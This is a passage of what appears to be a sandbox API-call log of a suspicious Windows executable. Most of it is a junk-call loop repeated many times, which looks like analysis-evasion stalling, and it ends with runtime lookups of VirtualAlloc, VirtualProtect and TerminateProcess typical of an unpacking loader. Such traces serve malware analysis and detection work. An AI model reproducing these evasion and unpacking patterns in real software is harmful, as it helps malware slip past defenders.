bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.700] GetLastError () returned 0x3 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.700] GetLastError () returned 0x3 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.700] GetLastError () returned 0x3 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.700] GetLastError () returned 0x3 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.701] GetLastError () returned 0x3 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.701] GetLastError () returned 0x3 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.701] GetLastError () returned 0x3 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.701] GetLastError () returned 0x3 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.701] GetLastError () returned 0x3 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.701] GetLastError () returned 0x3 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.701] GetLastError () returned 0x3 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] AddAtomA (lpString=0x0) returned 0x0 [0034.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.702] GetLastError () returned 0x3 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.702] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.702] GetLastError () returned 0x3 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.702] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.702] GetLastError () returned 0x3 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.702] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.702] GetLastError () returned 0x3 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.702] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.702] GetLastError () returned 0x3 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.702] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.702] GetLastError () returned 0x3 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.702] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.702] GetLastError () returned 0x3 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] AddAtomA (lpString=0x0) returned 0x0 [0034.702] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.702] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.703] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.703] GetLastError () returned 0x3 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.703] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.703] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.703] GetLastError () returned 0x3 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.703] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.703] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.703] GetLastError () returned 0x3 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.703] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.703] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.703] GetLastError () returned 0x3 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.703] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.703] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.703] GetLastError () returned 0x3 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.703] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.703] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.703] GetLastError () returned 0x3 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.703] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.703] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.703] GetLastError () returned 0x3 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] AddAtomA (lpString=0x0) returned 0x0 [0034.703] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.704] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.704] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.704] GetLastError () returned 0x3 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.704] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.704] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.704] GetLastError () returned 0x3 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.704] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.704] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.704] GetLastError () returned 0x3 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.704] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.704] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.704] GetLastError () returned 0x3 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.704] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.704] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.704] GetLastError () returned 0x3 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.704] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.704] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.704] GetLastError () returned 0x3 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.704] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.704] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.704] GetLastError () returned 0x3 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] AddAtomA (lpString=0x0) returned 0x0 [0034.704] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.704] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.705] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.705] GetLastError () returned 0x3 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.705] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.705] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.705] GetLastError () returned 0x3 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.705] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.705] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.705] GetLastError () returned 0x3 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.705] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.705] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.705] GetLastError () returned 0x3 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.705] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.705] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.705] GetLastError () returned 0x3 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.705] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.705] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.705] GetLastError () returned 0x3 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.705] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.705] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.705] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.705] GetLastError () returned 0x3 [0034.705] AddAtomA (lpString=0x0) returned 0x0 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.706] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.706] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.706] GetLastError () returned 0x3 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.706] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.706] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.706] GetLastError () returned 0x3 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.706] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.706] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.706] GetLastError () returned 0x3 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.706] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.706] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.706] GetLastError () returned 0x3 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.706] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.706] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.706] GetLastError () returned 0x3 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.706] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.706] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.706] GetLastError () returned 0x3 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] AddAtomA (lpString=0x0) returned 0x0 [0034.706] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.706] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.707] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.707] GetLastError () returned 0x3 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.707] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.707] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.707] GetLastError () returned 0x3 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.707] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.707] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.707] GetLastError () returned 0x3 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.707] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.707] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.707] GetLastError () returned 0x3 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.707] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.707] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.707] GetLastError () returned 0x3 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.707] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.707] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.707] GetLastError () returned 0x3 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.707] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.707] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.707] GetLastError () returned 0x3 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.707] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.707] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.707] GetLastError () returned 0x3 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.707] AddAtomA (lpString=0x0) returned 0x0 [0034.708] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.708] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.708] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.708] GetLastError () returned 0x3 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.708] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.708] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.708] GetLastError () returned 0x3 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.708] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.708] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.708] GetLastError () returned 0x3 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.708] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.708] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.708] GetLastError () returned 0x3 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.708] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.708] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.708] GetLastError () returned 0x3 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.708] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.708] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.708] GetLastError () returned 0x3 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.708] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.708] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.708] GetLastError () returned 0x3 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] AddAtomA (lpString=0x0) returned 0x0 [0034.708] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.709] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.709] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.709] GetLastError () returned 0x3 [0034.709] AddAtomA (lpString=0x0) returned 0x0 [0034.709] AddAtomA (lpString=0x0) returned 0x0 [0034.709] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.709] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.709] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.709] GetLastError () returned 0x3 [0034.709] AddAtomA (lpString=0x0) returned 0x0 [0034.709] AddAtomA (lpString=0x0) returned 0x0 [0034.709] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.709] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.709] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.817] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75a20000 [0034.817] GetProcAddress (hModule=0x75a20000, lpProcName="VirtualAlloc") returned 0x75a31856 [0034.817] GetProcAddress (hModule=0x75a20000, lpProcName="VirtualProtect") returned 0x75a3435f [0034.817] GetProcAddress (hModule=0x75a20000, lpProcName="VirtualFree") returned 0x75a3186e [0034.817] GetProcAddress (hModule=0x75a20000, lpProcName="GetVersionExA") returned 0x75a33519 [0034.818] GetProcAddress (hModule=0x75a20000, lpProcName="TerminateProcess") returned 0x75a4d802 [0034.818] GetVersionExA (in: lpVersionInformation=0x18ed3c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65636f72, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}\x88w") | out: lpVersionInformation=0x18ed3c*(dwOSVersionInfoSize=0x94, 